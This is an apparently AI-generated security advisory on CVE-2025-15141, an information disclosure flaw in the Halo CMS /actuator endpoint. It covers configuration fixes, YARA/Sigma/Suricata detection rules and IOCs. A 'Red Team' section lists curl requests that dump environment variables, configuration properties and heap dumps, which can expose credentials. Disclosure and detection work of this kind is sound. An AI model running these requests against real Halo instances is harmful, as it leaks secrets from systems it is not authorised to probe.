CVE-2025-15141

Executive Summary

CVE-2025-15141 is a publicly disclosed information disclosure vulnerability affecting the Halo content management system up to version 2.21.10. The flaw resides in the /actuator endpoint, which is part of the application’s configuration handler. An attacker can remotely exploit this endpoint with high complexity to leak sensitive configuration data. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The EPSS score is 0.0%, indicating low active exploitation, but the public availability of exploit details increases risk for exposed instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. Halo is a Java-based CMS, and the /actuator endpoint is a common Spring Boot actuator endpoint. The risk is primarily to self-hosted Halo instances.

CVSS Breakdown & Threat Level

• CVSS Score: 3.1 (Low)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – requires specific conditions or chaining
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited information disclosure
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low. The high complexity and low impact reduce immediate risk, but public exploit details and lack of patch make it a concern for exposed systems.

Deep Dive & Mechanics

The vulnerability is in the /actuator endpoint of Halo, which is a Spring Boot actuator endpoint. Actuator endpoints are used for monitoring and managing the application, but when exposed without proper authentication, they can leak sensitive information such as environment variables, configuration properties, heap dumps, and thread dumps. In this case, the manipulation of the configuration handler leads to information disclosure.

The attack requires high complexity, meaning the attacker may need to craft specific requests or chain with other vulnerabilities. The exact mechanism is not detailed, but typical actuator exploitation involves accessing /actuator/env, /actuator/configprops, or /actuator/health to extract data.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable code is the default Spring Boot actuator configuration in Halo versions <= 2.21.10, which exposes the /actuator endpoint without proper access controls.

Vulnerable Configuration (example):

# application.yml (vulnerable)
management:
  endpoints:
    web:
      exposure:
        include: "*"

Recommended Secure Configuration (hypothetical patch):

# application.yml (secure)
management:
  endpoints:
    web:
      exposure:
        include: "health,info"
  endpoint:
    health:
      show-details: never

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Halo instance (version <= 2.21.10) with the /actuator endpoint exposed.
• Network access to the target.

Exploitation Steps:

1. Identify the target Halo instance.
2. Send a GET request to /actuator to list available endpoints:

   curl -v http://target:port/actuator
   

3. Access sensitive endpoints like /actuator/env to leak environment variables:

   curl http://target:port/actuator/env
   

4. Extract configuration properties from /actuator/configprops:

   curl http://target:port/actuator/configprops
   

5. If heap dump is available, download it via /actuator/heapdump:

   curl -o heapdump.bin http://target:port/actuator/heapdump
   

Expected Output: Sensitive data such as database credentials, API keys, or internal network information.

Blue Team

Detection:

• Monitor for unusual requests to /actuator endpoints.
• Alert on access to sensitive actuator paths like /actuator/env, /actuator/configprops, /actuator/heapdump.

Hunting:

• Search logs for GET /actuator requests from external IPs.
• Check for repeated access to multiple actuator endpoints in a short time.

Mitigation:

• Restrict access to /actuator endpoints via firewall or reverse proxy.
• Disable sensitive endpoints in production.
• Implement authentication for actuator endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /actuator, /actuator/env, /actuator/configprops, /actuator/heapdump
  • Unusual outbound data transfers from the Halo server
• File IOCs:
  • Heap dump files (heapdump.bin) on the server
• Log IOCs:
  • Access logs showing GET /actuator from suspicious IPs
  • Error logs indicating unauthorized access attempts

Detection Engineering

YARA Rule

rule CVE_2025_15141_Actuator_Access {
    meta:
        description = "Detects access to Halo actuator endpoints indicative of CVE-2025-15141 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15141"
    strings:
        $actuator_path = "/actuator"
        $env_path = "/actuator/env"
        $configprops_path = "/actuator/configprops"
        $heapdump_path = "/actuator/heapdump"
    condition:
        any of them
}

Sigma Rule

title: Halo Actuator Endpoint Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to Halo actuator endpoints, potential CVE-2025-15141 exploitation
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/actuator'
            - '/actuator/env'
            - '/actuator/configprops'
            - '/actuator/heapdump'
    condition: selection
falsepositives:
    - Legitimate monitoring tools
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15141 Halo Actuator Access"; flow:to_server; content:"GET"; http_method; content:"/actuator"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Actuator Endpoints: If not needed, disable all actuator endpoints by setting management.endpoints.enabled-by-default=false in application.yml.
2. Restrict Access: Use a reverse proxy (e.g., Nginx) to block external access to /actuator:

   location /actuator {
       deny all;
       return 403;
   }
   

3. Implement Authentication: Add Spring Security to require authentication for actuator endpoints.

Long-Term Fix:

• Monitor vendor for a patch. Since the vendor is unresponsive, consider forking the project or applying custom security controls.
• Upgrade to a newer version if a patch becomes available.

Workaround:

• Remove the actuator dependency from the build if not required.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.